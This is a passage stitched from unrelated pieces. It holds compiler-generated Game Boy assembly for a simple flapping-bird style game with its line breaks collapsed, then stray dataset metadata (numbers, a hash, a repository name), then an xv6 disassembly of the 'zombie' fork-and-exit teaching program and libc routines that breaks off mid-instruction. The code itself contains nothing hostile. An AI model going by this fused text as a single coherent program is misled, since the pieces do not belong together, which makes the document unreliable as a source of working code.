[hl] add a, a add a, a ;src\/friend_draw.h:29: u8 *row = tile_get_row(tile_number, y); add a, c ld c, a ld a, $00 adc a, b ld b, a ;src\/friend_draw.h:31: u8 hi = *(row + 1) & mask; ld hl, $0001 add hl, bc ld a, l ld d, h ld hl, [sp+1] ld [hl], a inc hl ld [hl], d dec hl ld e, [hl] inc hl ld d, [hl] ld a,[de] dec hl dec hl and a, [hl] ld d, a ;src\/friend_draw.h:32: u8 lo = *(row + 0) & mask; ld a, [bc] and a, [hl] ld e, a ;src\/friend_draw.h:34: return (hi ? 2 : 0) + (lo ? 1 : 0); ld a, d or a, a jr Z,.l00105 ld bc, $0002 jr .l00106 .l00105: ld bc, $0000 .l00106: ld a, e or a, a jr Z,.l00107 ld de, $0001 jr .l00108 .l00107: ld de, $0000 .l00108: ld a, e add a, c ld e, a .l00103: ;src\/friend_draw.h:35: } add sp, #3 ret _bytes_per_row: _bytes_per_tile: ;src\/friend_draw.h:38: void tile_pset(u8 tile_number, u8 x, u8 y, u8 value) ; Function tile_pset _tile_pset:: add sp, #-4 ;src\/friend_draw.h:40: u8 *row = tile_get_row(tile_number, y); ld hl, [sp+8] ld a, [hl] ld hl, [sp+3] ld [hl], a ld hl, [sp+6] ld a, [hl] ;src\/friend_draw.h:10: u8 offset = tile_number << 4; swap a and a, $F0 ld c, a ;src\/friend_draw.h:16: u8 *tile = get_tile(tile_number); ld a, _tiles & $FF add a, c ld c, a ld a, _tiles >> 8 adc a, $00 ld b, a ;src\/friend_draw.h:19: u8 offset = y << 2; ld hl, [sp+3] ld a, [hl] add a, a add a, a ;src\/friend_draw.h:40: u8 *row = tile_get_row(tile_number, y); add a, c ld c, a ld a, $00 adc a, b ld b, a ;src\/friend_draw.h:42: u8 mask = (128 >> x); ld hl, [sp+7] ld a, [hl] push af ld e, $80 ld d, $00 pop af inc a jr .l00131 .l00130: sra d rr e .l00131: dec a jr NZ, .l00130 ld hl, [sp+0] ld [hl], e ;src\/friend_draw.h:47: *(row + 1) |= mask; ld hl, $0001 add hl, bc ld a, l ld d, h ld hl, [sp+1] ld [hl], a inc hl ld [hl], d ;src\/friend_draw.h:51: *(row + 0) &= ~mask; dec hl dec hl ld a, [hl] cpl ld hl, [sp+3] ld [hl], a ;src\/friend_draw.h:44: switch (value) { ld hl, [sp+9] ld a, [hl] or a, a jp Z,.l00104 .l00132: ld hl, [sp+9] ld a, [hl] dec a jp Z,.l00103 .l00133: ld hl, [sp+9] ld a, [hl] sub a, $02 jr Z,.l00102 .l00134: ld hl, [sp+9] ld a, [hl] sub a, $03 jr Z,.l00136 .l00135: jp .l00108 .l00136: ;src\/friend_draw.h:46: *(row + 0) |= mask; ld a, [bc] ld hl, [sp+0] or a, [hl] ld [bc], a ;src\/friend_draw.h:47: *(row + 1) |= mask; inc hl ld e, [hl] inc hl ld d, [hl] ld a,[de] dec hl dec hl or a, [hl] ld c, a inc hl ld a, [hl] inc hl ld h, [hl] ld l, a ld [hl], c ;src\/friend_draw.h:48: break; jp .l00108 ;src\/friend_draw.h:50: case 0b10: .l00102: ;src\/friend_draw.h:51: *(row + 0) &= ~mask; ld a, [bc] ld hl, [sp+3] and a, [hl] ld [bc], a ;src\/friend_draw.h:52: *(row + 1) |= mask; dec hl dec hl ld e, [hl] inc hl ld d, [hl] ld a,[de] dec hl dec hl or a, [hl] ld c, a inc hl ld a, [hl] inc hl ld h, [hl] ld l, a ld [hl], c ;src\/friend_draw.h:53: break; jp .l00108 ;src\/friend_draw.h:55: case 0b01: .l00103: ;src\/friend_draw.h:56: *(row + 0) |= mask; ld a, [bc] ld hl, [sp+0] or a, [hl] ld [bc], a ;src\/friend_draw.h:57: *(row + 1) &= ~mask; inc hl ld e, [hl] inc hl ld d, [hl] ld a,[de] inc hl and a, [hl] ld c, a dec hl dec hl ld a, [hl] inc hl ld h, [hl] ld l, a ld [hl], c ;src\/friend_draw.h:58: break; jr .l00108 ;src\/friend_draw.h:60: case 0b00: .l00104: ;src\/friend_draw.h:61: *(row + 0) &= ~mask; ld a, [bc] ld hl, [sp+3] and a, [hl] ld [bc], a ;src\/friend_draw.h:62: *(row + 1) &= ~mask; dec hl dec hl ld e, [hl] inc hl ld d, [hl] ld a,[de] inc hl and a, [hl] ld c, a dec hl dec hl ld a, [hl] inc hl ld h, [hl] ld l, a ld [hl], c ;src\/friend_draw.h:64: } .l00108: ;src\/friend_draw.h:65: } add sp, #4 ret ;src\main.c:31: void init_player() ; Function init_player _init_player:: ;src\main.c:33: player.position.x = 40; ld hl, _player ld [hl], $28 ;src\main.c:34: player.position.y = 40; ld hl, (_player + 0x0001) ld [hl], $28 ;src\main.c:36: player.y_velocity = 1; ld hl, (_player + 0x0002) ld [hl], $01 ;src\main.c:37: player.score = 0; ld hl, (_player + 0x0003) ld [hl], $00 .l00101: ;src\main.c:38: } ret _gravity: _flap_velocity: ;src\main.c:41: void init(void) ; Function init _init:: ;src\main.c:43: init_player(); call _init_player ;src\main.c:45: memset(&oam, 0, sizeof(oam)); ld hl, $00A0 push hl ld l, $00 push hl ld hl, _oam push hl call _memset add sp, #6 ;src\main.c:46: memset(&tiles, 0, sizeof(tiles)); ld hl, $0001 push hl ld l, $00 push hl ld hl, _tiles push hl call _memset add sp, #6 ;src\main.c:47: memset(&bgmap, 0, sizeof(bgmap)); ld hl, $0400 push hl ld h, $00 push hl ld hl, _bgmap push hl call _memset add sp, #6 ;src\main.c:49: memcpy(&tiles, &char_map, sizeof(char_map)); ld hl, $0800 push hl ld hl, _char_map push hl ld hl, _tiles push hl call ___memcpy add sp, #6 ;src\main.c:51: oam[0].tile = 0x19; ld hl, (_oam + 0x0002) ld [hl], $19 ;src\main.c:52: oam[1].tile = 0x19; ld hl, (_oam + 0x0006) ld [hl], $19 ;src\main.c:53: oam[2].tile = 0x19; ld hl, (_oam + 0x000a) ld [hl], $19 ;src\main.c:54: oam[3].tile = 0x19; ld hl, (_oam + 0x000e) ld [hl], $19 ;src\main.c:60: LCDCF_OBJON; ld a, $83 ldh (_LCDC+0),a ;src\main.c:62: enable_interrupts(); ei ;src\main.c:63: interrupt_enable = IEF_VBLANK; ld hl, _IEF_VBLANK ld a, [hl] ldh (_interrupt_enable+0),a .l00101: ;src\main.c:64: } ret ;src\main.c:67: void update(void) ; Function update _update:: ;src\main.c:70: if (btnp(j_a)) { ld hl, _previous_joypad ld c, [hl] xor a, a cpl ld b, a ld a, c cpl ld c, a ld hl, _joypad ld e, [hl] ld d, $00 ld a, c and a, e ld c, a ld a, b and a, d bit 0, c jr Z,.l00102 .l00118: ;src\main.c:71: player.y_velocity = (flap_velocity << SUBPIXELS); ld bc, _player+2 ld hl, _flap_velocity ld a, [hl] add a, a add a, a add a, a ld [bc], a jr .l00103 .l00102: ;src\main.c:74: player.y_velocity += gravity; ld bc, _player+2 ld a, [bc] ld e, a ld hl, _gravity ld a, [hl] add a, e ld [bc], a .l00103: ;src\main.c:78: step = (player.y_velocity >> SUBPIXELS); ld a, ((_player + 0x0002) + 0) sra a sra a sra a ;src\main.c:79: player.position.y += step; ld bc, _player + 1 push af ld a, [bc] ld e, a pop af add a, e ;src\main.c:86: if (player.position.y > (160 - 16)) { ld [bc],a ld c, a ld a, $90 sub a, c ret NC ;src\main.c:88: OBP0 += 1; ldh a, (_OBP0+0) inc a ldh (_OBP0+0),a ;src\main.c:89: init_player(); call _init_player .l00106: ;src\main.c:91: } ret ;src\main.c:94: void draw(void) ; Function draw _draw:: ;src\main.c:96: oam[0].x = player.position.x; ld de, _oam+1 ld bc, _player+0 ld a, [bc] ld [de], a ;src\main.c:97: oam[0].y = player.position.y; ld a, ((_player + 0x0001) + 0) ld hl, _oam ld [hl], a ;src\main.c:99: oam[1].x = player.position.x + 8; ld de, _oam+5 ld a, [bc] add a, $08 ld [de], a ;src\main.c:100: oam[1].y = player.position.y; ld a, ((_player + 0x0001) + 0) ld hl, (_oam + 0x0004) ld [hl], a ;src\main.c:102: oam[2].x = player.position.x; ld de, _oam+9 ld a, [bc] ld [de], a ;src\main.c:103: oam[2].y = player.position.y + 8; ld a, ((_player + 0x0001) + 0) add a, $08 ld hl, (_oam + 0x0008) ld [hl], a ;src\main.c:105: oam[3].x = player.position.x + 8; ld de, _oam+13 ld a, [bc] add a, $08 ld [de], a ;src\main.c:106: oam[3].y = player.position.y + 8; ld bc, _oam+12 ld a, ((_player + 0x0001) + 0) add a, $08 ld [bc], a .l00101: ;src\main.c:144: } ret
18.042433
76
0.621982
ddad1a785de34c810cecb0e61d56d3a22055b4e7
45,022
asm
Assembly
zombie.asm
haniyehnasseri/xv6ProcessScheduling
cb908f7fa9cf0874db1c310d8d2220d923fda15b
[ "MIT-0" ]
null
null
null
zombie.asm
haniyehnasseri/xv6ProcessScheduling
cb908f7fa9cf0874db1c310d8d2220d923fda15b
[ "MIT-0" ]
null
null
null
zombie.asm
haniyehnasseri/xv6ProcessScheduling
cb908f7fa9cf0874db1c310d8d2220d923fda15b
[ "MIT-0" ]
null
null
null
_zombie: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(void) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 51 push %ecx e: 83 ec 04 sub $0x4,%esp if(fork() > 0) 11: e8 54 02 00 00 call 26a <fork> 16: 85 c0 test %eax,%eax 18: 7e 0d jle 27 <main+0x27> sleep(5); // Let child exit before parent. 1a: 83 ec 0c sub $0xc,%esp 1d: 6a 05 push $0x5 1f: e8 ee 02 00 00 call 312 <sleep> 24: 83 c4 10 add $0x10,%esp exit(); 27: e8 46 02 00 00 call 272 <exit> 2c: 66 90 xchg %ax,%ax 2e: 66 90 xchg %ax,%ax 00000030 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 30: 55 push %ebp 31: 89 e5 mov %esp,%ebp 33: 53 push %ebx 34: 8b 45 08 mov 0x8(%ebp),%eax 37: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 3a: 89 c2 mov %eax,%edx 3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 40: 83 c1 01 add $0x1,%ecx 43: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 47: 83 c2 01 add $0x1,%edx 4a: 84 db test %bl,%bl 4c: 88 5a ff mov %bl,-0x1(%edx) 4f: 75 ef jne 40 <strcpy+0x10> ; return os; } 51: 5b pop %ebx 52: 5d pop %ebp 53: c3 ret 54: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 5a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000060 <strcmp>: int strcmp(const char *p, const char *q) { 60: 55 push %ebp 61: 89 e5 mov %esp,%ebp 63: 56 push %esi 64: 53 push %ebx 65: 8b 55 08 mov 0x8(%ebp),%edx 68: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 6b: 0f b6 02 movzbl (%edx),%eax 6e: 0f b6 19 movzbl (%ecx),%ebx 71: 84 c0 test %al,%al 73: 75 1e jne 93 <strcmp+0x33> 75: eb 29 jmp a0 <strcmp+0x40> 77: 89 f6 mov %esi,%esi 79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 80: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 83: 0f b6 02 movzbl (%edx),%eax p++, q++; 86: 8d 71 01 lea 0x1(%ecx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 89: 0f b6 59 01 movzbl 0x1(%ecx),%ebx 8d: 84 c0 test %al,%al 8f: 74 0f je a0 <strcmp+0x40> 91: 89 f1 mov %esi,%ecx 93: 38 d8 cmp %bl,%al 95: 74 e9 je 80 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; 97: 29 d8 sub %ebx,%eax } 99: 5b pop %ebx 9a: 5e pop %esi 9b: 5d pop %ebp 9c: c3 ret 9d: 8d 76 00 lea 0x0(%esi),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) a0: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; a2: 29 d8 sub %ebx,%eax } a4: 5b pop %ebx a5: 5e pop %esi a6: 5d pop %ebp a7: c3 ret a8: 90 nop a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000000b0 <strlen>: uint strlen(const char *s) { b0: 55 push %ebp b1: 89 e5 mov %esp,%ebp b3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) b6: 80 39 00 cmpb $0x0,(%ecx) b9: 74 12 je cd <strlen+0x1d> bb: 31 d2 xor %edx,%edx bd: 8d 76 00 lea 0x0(%esi),%esi c0: 83 c2 01 add $0x1,%edx c3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) c7: 89 d0 mov %edx,%eax c9: 75 f5 jne c0 <strlen+0x10> ; return n; } cb: 5d pop %ebp cc: c3 ret uint strlen(const char *s) { int n; for(n = 0; s[n]; n++) cd: 31 c0 xor %eax,%eax ; return n; } cf: 5d pop %ebp d0: c3 ret d1: eb 0d jmp e0 <memset> d3: 90 nop d4: 90 nop d5: 90 nop d6: 90 nop d7: 90 nop d8: 90 nop d9: 90 nop da: 90 nop db: 90 nop dc: 90 nop dd: 90 nop de: 90 nop df: 90 nop 000000e0 <memset>: void* memset(void *dst, int c, uint n) { e0: 55 push %ebp e1: 89 e5 mov %esp,%ebp e3: 57 push %edi e4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : e7: 8b 4d 10 mov 0x10(%ebp),%ecx ea: 8b 45 0c mov 0xc(%ebp),%eax ed: 89 d7 mov %edx,%edi ef: fc cld f0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } f2: 89 d0 mov %edx,%eax f4: 5f pop %edi f5: 5d pop %ebp f6: c3 ret f7: 89 f6 mov %esi,%esi f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000100 <strchr>: char* strchr(const char *s, char c) { 100: 55 push %ebp 101: 89 e5 mov %esp,%ebp 103: 53 push %ebx 104: 8b 45 08 mov 0x8(%ebp),%eax 107: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 10a: 0f b6 10 movzbl (%eax),%edx 10d: 84 d2 test %dl,%dl 10f: 74 1d je 12e <strchr+0x2e> if(*s == c) 111: 38 d3 cmp %dl,%bl 113: 89 d9 mov %ebx,%ecx 115: 75 0d jne 124 <strchr+0x24> 117: eb 17 jmp 130 <strchr+0x30> 119: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 120: 38 ca cmp %cl,%dl 122: 74 0c je 130 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 124: 83 c0 01 add $0x1,%eax 127: 0f b6 10 movzbl (%eax),%edx 12a: 84 d2 test %dl,%dl 12c: 75 f2 jne 120 <strchr+0x20> if(*s == c) return (char*)s; return 0; 12e: 31 c0 xor %eax,%eax } 130: 5b pop %ebx 131: 5d pop %ebp 132: c3 ret 133: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000140 <gets>: char* gets(char *buf, int max) { 140: 55 push %ebp 141: 89 e5 mov %esp,%ebp 143: 57 push %edi 144: 56 push %esi 145: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 146: 31 f6 xor %esi,%esi cc = read(0, &c, 1); 148: 8d 7d e7 lea -0x19(%ebp),%edi return 0; } char* gets(char *buf, int max) { 14b: 83 ec 1c sub $0x1c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 14e: eb 29 jmp 179 <gets+0x39> cc = read(0, &c, 1); 150: 83 ec 04 sub $0x4,%esp 153: 6a 01 push $0x1 155: 57 push %edi 156: 6a 00 push $0x0 158: e8 2d 01 00 00 call 28a <read> if(cc < 1) 15d: 83 c4 10 add $0x10,%esp 160: 85 c0 test %eax,%eax 162: 7e 1d jle 181 <gets+0x41> break; buf[i++] = c; 164: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 168: 8b 55 08 mov 0x8(%ebp),%edx 16b: 89 de mov %ebx,%esi if(c == '\n' || c == '\r') 16d: 3c 0a cmp $0xa,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 16f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 173: 74 1b je 190 <gets+0x50> 175: 3c 0d cmp $0xd,%al 177: 74 17 je 190 <gets+0x50> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 179: 8d 5e 01 lea 0x1(%esi),%ebx 17c: 3b 5d 0c cmp 0xc(%ebp),%ebx 17f: 7c cf jl 150 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 181: 8b 45 08 mov 0x8(%ebp),%eax 184: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 188: 8d 65 f4 lea -0xc(%ebp),%esp 18b: 5b pop %ebx 18c: 5e pop %esi 18d: 5f pop %edi 18e: 5d pop %ebp 18f: c3 ret break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 190: 8b 45 08 mov 0x8(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 193: 89 de mov %ebx,%esi break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 195: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 199: 8d 65 f4 lea -0xc(%ebp),%esp 19c: 5b pop %ebx 19d: 5e pop %esi 19e: 5f pop %edi 19f: 5d pop %ebp 1a0: c3 ret 1a1: eb 0d jmp 1b0 <stat> 1a3: 90 nop 1a4: 90 nop 1a5: 90 nop 1a6: 90 nop 1a7: 90 nop 1a8: 90 nop 1a9: 90 nop 1aa: 90 nop 1ab: 90 nop 1ac: 90 nop 1ad: 90 nop 1ae: 90 nop 1af: 90 nop 000001b0 <stat>: int stat(const char *n, struct stat *st) { 1b0: 55 push %ebp 1b1: 89 e5 mov %esp,%ebp 1b3: 56 push %esi 1b4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 1b5: 83 ec 08 sub $0x8,%esp 1b8: 6a 00 push $0x0 1ba: ff 75 08 pushl 0x8(%ebp) 1bd: e8 f0 00 00 00 call 2b2 <open> if(fd < 0) 1c2: 83 c4 10 add $0x10,%esp 1c5: 85 c0 test %eax,%eax 1c7: 78 27 js 1f0 <stat+0x40> return -1; r = fstat(fd, st); 1c9: 83 ec 08 sub $0x8,%esp 1cc: ff 75 0c pushl 0xc(%ebp) 1cf: 89 c3 mov %eax,%ebx 1d1: 50 push %eax 1d2: e8 f3 00 00 00 call 2ca <fstat> 1d7: 89 c6 mov %eax,%esi close(fd); 1d9: 89 1c 24 mov %ebx,(%esp) 1dc: e8 b9 00 00 00 call 29a <close> return r; 1e1: 83 c4 10 add $0x10,%esp 1e4: 89 f0 mov %esi,%eax } 1e6: 8d 65 f8 lea -0x8(%ebp),%esp 1e9: 5b pop %ebx 1ea: 5e pop %esi 1eb: 5d pop %ebp 1ec: c3 ret 1ed: 8d 76 00 lea 0x0(%esi),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 1f0: b8 ff ff ff ff mov $0xffffffff,%eax 1f5: eb ef jmp 1e6 <stat+0x36> 1f7: 89 f6 mov %esi,%esi 1f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000200 <atoi>: return r; } int atoi(const char *s) { 200: 55 push %ebp 201: 89 e5 mov %esp,%ebp 203: 53 push %ebx 204: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 207: 0f be 11 movsbl (%ecx),%edx 20a: 8d 42 d0 lea -0x30(%edx),%eax 20d: 3c 09 cmp $0x9,%al 20f: b8 00 00 00 00 mov $0x0,%eax 214: 77 1f ja 235 <atoi+0x35> 216: 8d 76 00 lea 0x0(%esi),%esi 219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 220: 8d 04 80 lea (%eax,%eax,4),%eax 223: 83 c1 01 add $0x1,%ecx 226: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 22a: 0f be 11 movsbl (%ecx),%edx 22d: 8d 5a d0 lea -0x30(%edx),%ebx 230: 80 fb 09 cmp $0x9,%bl 233: 76 eb jbe 220 <atoi+0x20> n = n*10 + *s++ - '0'; return n; } 235: 5b pop %ebx 236: 5d pop %ebp 237: c3 ret 238: 90 nop 239: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000240 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 240: 55 push %ebp 241: 89 e5 mov %esp,%ebp 243: 56 push %esi 244: 53 push %ebx 245: 8b 5d 10 mov 0x10(%ebp),%ebx 248: 8b 45 08 mov 0x8(%ebp),%eax 24b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 24e: 85 db test %ebx,%ebx 250: 7e 14 jle 266 <memmove+0x26> 252: 31 d2 xor %edx,%edx 254: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 258: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 25c: 88 0c 10 mov %cl,(%eax,%edx,1) 25f: 83 c2 01 add $0x1,%edx char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 262: 39 da cmp %ebx,%edx 264: 75 f2 jne 258 <memmove+0x18> *dst++ = *src++; return vdst; } 266: 5b pop %ebx 267: 5e pop %esi 268: 5d pop %ebp 269: c3 ret 0000026a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 26a: b8 01 00 00 00 mov $0x1,%eax 26f: cd 40 int $0x40 271: c3 ret 00000272 <exit>: SYSCALL(exit) 272: b8 02 00 00 00 mov $0x2,%eax 277: cd 40 int $0x40 279: c3 ret 0000027a <wait>: SYSCALL(wait) 27a: b8 03 00 00 00 mov $0x3,%eax 27f: cd 40 int $0x40 281: c3 ret 00000282 <pipe>: SYSCALL(pipe) 282: b8 04 00 00 00 mov $0x4,%eax 287: cd 40 int $0x40 289: c3 ret 0000028a <read>: SYSCALL(read) 28a: b8 05 00 00 00 mov $0x5,%eax 28f: cd 40 int $0x40 291: c3 ret 00000292 <write>: SYSCALL(write) 292: b8 10 00 00 00 mov $0x10,%eax 297: cd 40 int $0x40 299: c3 ret 0000029a <close>: SYSCALL(close) 29a: b8 15 00 00 00 mov $0x15,%eax 29f: cd 40 int $0x40 2a1: c3 ret 000002a2 <kill>: SYSCALL(kill) 2a2: b8 06 00 00 00 mov $0x6,%eax 2a7: cd 40 int $0x40 2a9: c3 ret 000002aa <exec>: SYSCALL(exec) 2aa: b8 07 00 00 00 mov $0x7,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <open>: SYSCALL(open) 2b2: b8 0f 00 00 00 mov $0xf,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <mknod>: SYSCALL(mknod) 2ba: b8 11 00 00 00 mov $0x11,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <unlink>: SYSCALL(unlink) 2c2: b8 12 00 00 00 mov $0x12,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <fstat>: SYSCALL(fstat) 2ca: b8 08 00 00 00 mov $0x8,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <link>: SYSCALL(link) 2d2: b8 13 00 00 00 mov $0x13,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <mkdir>: SYSCALL(mkdir) 2da: b8 14 00 00 00 mov $0x14,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <chdir>: SYSCALL(chdir) 2e2: b8 09 00 00 00 mov $0x9,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <dup>: SYSCALL(dup) 2ea: b8 0a 00 00 00 mov $0xa,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <getpid>: SYSCALL(getpid) 2f2: b8 0b 00 00 00 mov $0xb,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <get_parent_id>: SYSCALL(get_parent_id) 2fa: b8 16 00 00 00 mov $0x16,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <getchildren>: SYSCALL(getchildren) 302: b8 17 00 00 00 mov $0x17,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <sbrk>: SYSCALL(sbrk) 30a: b8 0c 00 00 00 mov $0xc,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <sleep>: SYSCALL(sleep) 312: b8 0d 00 00 00 mov $0xd,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <uptime>: SYSCALL(uptime) 31a: b8 0e 00 00 00 mov $0xe,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <set>: SYSCALL(set) 322: b8 18 00 00 00 mov $0x18,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <count>: SYSCALL(count) 32a: b8 19 00 00 00 mov $0x19,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <sleepp>: SYSCALL(sleepp) 332: b8 1a 00 00 00 mov $0x1a,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <cmos>: SYSCALL(cmos) 33a: b8 1b 00 00 00 mov $0x1b,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <chqueue>: SYSCALL(chqueue) 342: b8 1c 00 00 00 mov $0x1c,%eax 347: cd 40 int $0x40 349: c3 ret 0000034a <setLottery>: SYSCALL(setLottery) 34a: b8 1d 00 00 00 mov $0x1d,%eax 34f: cd 40 int $0x40 351: c3 ret 00000352 <chprSRPF>: SYSCALL(chprSRPF) 352: b8 1e 00 00 00 mov $0x1e,%eax 357: cd 40 int $0x40 359: c3 ret 0000035a <printinfo>: SYSCALL(printinfo) 35a: b8 1f 00 00 00 mov $0x1f,%eax 35f: cd 40 int $0x40 361: c3 ret 362: 66 90 xchg %ax,%ax 364: 66 90 xchg %ax,%ax 366: 66 90 xchg %ax,%ax 368: 66 90 xchg %ax,%ax 36a: 66 90 xchg %ax,%ax 36c: 66 90 xchg %ax,%ax 36e: 66 90 xchg %ax,%ax 00000370 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 370: 55 push %ebp 371: 89 e5 mov %esp,%ebp 373: 57 push %edi 374: 56 push %esi 375: 53 push %ebx 376: 89 c6 mov %eax,%esi 378: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 37b: 8b 5d 08 mov 0x8(%ebp),%ebx 37e: 85 db test %ebx,%ebx 380: 74 7e je 400 <printint+0x90> 382: 89 d0 mov %edx,%eax 384: c1 e8 1f shr $0x1f,%eax 387: 84 c0 test %al,%al 389: 74 75 je 400 <printint+0x90> neg = 1; x = -xx; 38b: 89 d0 mov %edx,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 38d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) x = -xx; 394: f7 d8 neg %eax 396: 89 75 c0 mov %esi,-0x40(%ebp) } else { x = xx; } i = 0; 399: 31 ff xor %edi,%edi 39b: 8d 5d d7 lea -0x29(%ebp),%ebx 39e: 89 ce mov %ecx,%esi 3a0: eb 08 jmp 3aa <printint+0x3a> 3a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 3a8: 89 cf mov %ecx,%edi 3aa: 31 d2 xor %edx,%edx 3ac: 8d 4f 01 lea 0x1(%edi),%ecx 3af: f7 f6 div %esi 3b1: 0f b6 92 38 07 00 00 movzbl 0x738(%edx),%edx }while((x /= base) != 0); 3b8: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 3ba: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 3bd: 75 e9 jne 3a8 <printint+0x38> if(neg) 3bf: 8b 45 c4 mov -0x3c(%ebp),%eax 3c2: 8b 75 c0 mov -0x40(%ebp),%esi 3c5: 85 c0 test %eax,%eax 3c7: 74 08 je 3d1 <printint+0x61> buf[i++] = '-'; 3c9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) 3ce: 8d 4f 02 lea 0x2(%edi),%ecx 3d1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi 3d5: 8d 76 00 lea 0x0(%esi),%esi 3d8: 0f b6 07 movzbl (%edi),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 3db: 83 ec 04 sub $0x4,%esp 3de: 83 ef 01 sub $0x1,%edi 3e1: 6a 01 push $0x1 3e3: 53 push %ebx 3e4: 56 push %esi 3e5: 88 45 d7 mov %al,-0x29(%ebp) 3e8: e8 a5 fe ff ff call 292 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 3ed: 83 c4 10 add $0x10,%esp 3f0: 39 df cmp %ebx,%edi 3f2: 75 e4 jne 3d8 <printint+0x68> putc(fd, buf[i]); } 3f4: 8d 65 f4 lea -0xc(%ebp),%esp 3f7: 5b pop %ebx 3f8: 5e pop %esi 3f9: 5f pop 